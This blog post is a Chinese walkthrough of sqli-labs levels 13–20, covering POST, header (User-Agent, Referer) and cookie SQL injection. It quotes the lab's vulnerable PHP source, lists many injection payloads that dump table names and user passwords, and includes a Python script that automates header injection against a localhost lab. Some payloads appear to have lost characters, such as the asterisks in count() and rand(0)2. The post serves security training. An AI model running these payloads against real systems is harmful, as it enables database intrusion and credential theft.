sqli-labs less13-20(各种post型头部注入)

less-13 POST型双查询注入

less-14 POST型双查询注入

less-15 POST型布尔注入

less-16 POST型布尔注入

less-17 POST型报错注入(updatexml)

less-18 POST型user-agent注入

less-19 POST型referer注入

less-20 POST型cookie注入


less-13

POST型双查询注入

过程:
  1. 判断字段类型,判断字段个数
  • ') or 1=1#
  • ') or 1=1 order by 2#
  1. 双查询注入
  • ') union select count(), concat(database(), "--", floor(rand(0)2)) as a from information_schema.tables group by a #
  1. 数据库知道了爆表名列名得数据一条龙

less-14

POST型双查询注入

过程:

与less-13闭合方式不同,less-14用双引号闭合

  • " union select count(), concat((select concat(username, "::::::",password) from users limit 1,1), "--", floor(rand(0)2)) as a from information_schema.tables group by a #

less-15

POST型布尔注入

过程:

  1. 判断闭合方式
    不管输入什么 页面变化只有failed和seccessfully
  • ' or 1=1#
  • " or 1=1#
  1. 之后流程跟get型布尔盲注流程一样

less-16

POST型布尔注入

过程:

  1. 判断闭合方式

过程跟less-15一样 闭合方式变成')

less-17

POST型报错注入(updatexml)

源码:

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}
 
		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}
 
		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

学要学习的函数get_magic_quotes_gpc()

当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1

当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

在magic_quotes_gpc = On的情况下,如果输入的数据有

单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。

stripslashes()删除由 addslashes() 函数添加的反斜杠

ctype_digit()判断是不是数字,是数字就返回true,否则返回false

mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。

intval() 整型转换

这一关中不能对username下手 要从passwordd开始

过程:

17关对username进行了严格的过滤

注入的格式:

  • admin' or updatexml(1, (concat('#',(payload))), 1) #

payload可以换成需要查询的函数

  1. 数据库名
  • admin' or updatexml(1, concat('#', database()), 1) #
  1. 表名
  • updatexml(1, concat("#", (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0) #

less-18

POST型user-agent注入

什么是user-agent

user-agent参考博文

源码:

// uagent的接收是未经过严格过滤的
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

	{
	// 此处表明我们输入的uname和passwd是经过后台严格检验的,因此想从这里注入是很难的。
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);

	//logging the connection parameters to a file for analysis.	
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Agent:'.$uname."\n");
	
	fclose($fp);
	
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			// 这里有一个插入sql语句,而uagent也没有严格过滤,我们可以从这里入手注入
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your User Agent is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg"  />';
			echo "<br>";
			
			}
		else
			{
			echo '<font color= "#0000ff" font size="3">';
			//echo "Try again looser";
			print_r(mysql_error());
			echo "</br>";			
			echo "</br>";
			echo '<img src="../images/slap.jpg"   />';	
			echo "</font>";  
			}

	}

uname和passwd都经过个严格过滤,没有注入点

过程:

  1. 输入

admin admin

看到user-agent的回显

  1. 抓包修改user-agent改为payload
  • 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
  • ' or updatexml(1, concat('#', (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0), 1, 1) #
  • ' or updatexml(1, concat('#', (select group_concat(username) from users)), 0), 1, 1) #
  • ' or updatexml(1, concat('#', (select group_concat(password) from users)), 0), 1, 1) #

使用python脚本

import requests
import re


class Header_injection():
    def __init__(self, headers, url):
        self.headers = headers
        self.url = url

    def injection(self):
        # 配置post提交数据
        data = {'uname': 'admin', 'passwd':'admin'}

        for header in self.headers:
            # 构造请求头
            headers = {
                "User-Agent": header
            }

            # 以post方式提交请求
            response = requests.post(url=url, headers = headers, data=data).text

            # 使用正则表达式对返回HTML进行过滤,得到最终结果
            result = re.search('XPATH syntax error:(.*?)<br>', response)

            # 输出结果
            print("The answer is %s" % result.group(1))


if __name__ == '__main__':

    headers = [
        "' or updatexml(1, concat('#', database()), 0), 1, 1) #",
        "' or updatexml(1, concat('#', (select group_concat(table_name) from information_schema.tables where table_schema='security')), 0), 1, 1) #",
        "' or updatexml(1, concat('#', (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')), 0), 1, 1) #",
        "' or updatexml(1, concat('#', (select concat(username,':::', password) from users limit 0, 1)), 0), 1, 1) #",
    ]
    url = "http://localhost:7788/sqli/Less-18/"

    h = Header_injection(headers, url)
    h.injection()

less-19

POST型referer注入

什么是rederer

referer的参考博文

过程:

  1. 输入admin admin有回显 猜测是rederer注入

源码:

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your Referer is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg" />';
			echo "<br>";
			
			}

  • ' or updatexml(1, concat('#', database()), 0), 1) #

  • ' or updatexml(1, concat('#', (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0), 1) #

  • ' or updatexml(1, concat('#', (select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security")), 0), 1) #

  • ' or updatexml(1, concat('#', (select concat(id, username, password) from users limit 0,1)), 0), 0) #

less-20

POST型cookie注入

cookie是什么

cookie参考博文

过程:

  1. 利用cookie,浏览器每次向服务器发送请求的时候,如果本地存有相关的cookie信息,则会将cookie一并发送给服务器

通过burp抓包修改cookie值

posted @ 2020-12-09 11:51  A2rcher_zjh  阅读(137)  评论(0编辑  收藏  举报